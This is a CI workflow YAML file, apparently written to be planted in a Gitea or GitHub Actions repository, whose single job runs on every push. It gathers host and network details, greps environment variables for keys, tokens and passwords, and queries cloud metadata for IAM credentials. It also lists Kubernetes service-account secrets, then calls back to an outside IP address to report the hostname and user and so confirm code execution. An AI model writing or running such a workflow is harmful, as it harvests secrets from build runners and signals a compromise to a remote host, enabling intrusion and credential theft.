22 lines
1023 B
YAML
22 lines
1023 B
YAML
name: pentest-ssrf-check
|
|
on: [push]
|
|
jobs:
|
|
recon:
|
|
runs-on: ubuntu-latest
|
|
steps:
|
|
- name: System Info
|
|
run: |
|
|
echo "=== PENTEST SSI BASS PAGO ==="
|
|
id && hostname && uname -a
|
|
cat /etc/os-release 2>/dev/null | head -5
|
|
ip addr 2>/dev/null || ifconfig 2>/dev/null
|
|
cat /etc/hosts
|
|
cat /etc/resolv.conf
|
|
env | sort | grep -iE "KEY|SECRET|TOKEN|PASS|AUTH|DB|REDIS|URL|HOST|GITEA" | head -30
|
|
curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo "No AWS metadata"
|
|
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || echo "No IAM role"
|
|
ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null || echo "No K8s"
|
|
cat /proc/1/environ 2>/dev/null | tr 0 n | head -20 || echo "No proc environ"
|
|
# Callback to VPS to confirm execution
|
|
curl -s "http://144.172.101.121:8888/gitea-actions-rce?host=$(hostname)&user=$(whoami)" || true
|